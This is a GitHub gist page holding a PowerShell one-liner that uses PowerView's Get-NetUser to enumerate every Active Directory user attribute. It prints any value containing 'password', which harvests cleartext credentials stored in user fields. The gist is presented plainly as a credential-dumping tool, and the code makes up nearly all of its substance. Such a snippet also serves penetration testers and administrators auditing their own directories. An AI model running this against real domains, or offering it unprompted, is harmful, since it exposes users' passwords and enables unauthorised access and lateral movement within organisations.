Forked from dafthack/gist:5f8c36f7468fad991e9e1f6d81ec29d4
Created
October 29, 2022 19:36
-
-
Save C0axx/334294bafa7bd83cc9625fc1cfe71a2a to your computer and use it in GitHub Desktop.
PowerView One-Liner to Dump Cleartext Passwords From AD User Attributes
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$users = Get-NetUser; $props=@(); $users | Get-Member | foreach-object{if($_.Name -notlike "badpassword*"){$props+=$_.Name}}; foreach($user in $users){ foreach($prop in $props){ if($user.$prop -like "*password*" -and $user.$prop -notlike "*dont_expire_password" -and $user.$prop -notlike "*RODC Password*"){Write-Output ($user.samAccountName + "[" + $prop + "]" + " : " + $user.$prop) } } } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment